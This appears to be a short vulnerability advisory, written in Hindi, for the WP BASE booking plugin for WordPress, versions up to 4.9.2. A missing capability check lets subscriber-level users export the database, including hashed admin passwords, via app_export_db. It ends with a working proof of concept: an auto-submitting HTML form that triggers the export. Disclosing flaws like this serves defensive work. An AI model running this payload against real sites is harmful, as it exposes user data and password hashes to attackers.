
WP BASE Booking of Appointments, Services and Events <= 4.9.2 - लापता प्राधिकरण: app_export_db के माध्यम से प्रमाणित (सब्सक्राइबर+) उपयोगकर्ताओं को संवेदनशील जानकारी का खुलासा
WP BASE Booking of Appointments, Services and Events <= 4.9.2 - app_export_db के माध्यम से प्रमाणित (सब्सक्राइबर+) संवेदनशील जानकारी के प्रकटीकरण हेतु अनधिकृत पहुँच
WordPress के लिए WP BASE Booking of Appointments, Services and Events प्लगइन, संस्करण 4.9.2 तक (4.9.2 सहित) के सभी संस्करणों में export_db फ़ंक्शन पर क्षमता जाँच (capability check) की कमी के कारण डेटा की अनधिकृत पहुँच के प्रति संवेदनशील है। यह सब्सक्राइबर-स्तर या उससे ऊपर की पहुँच वाले प्रमाणित हमलावरों को डेटाबेस से हैश किए गए व्यवस्थापक पासवर्ड जैसी संवेदनशील जानकारी उजागर करने में सक्षम बनाता है।
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php?action=app_export_db" method="POST">
<input type="hidden" name="action" value="app_export_db" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>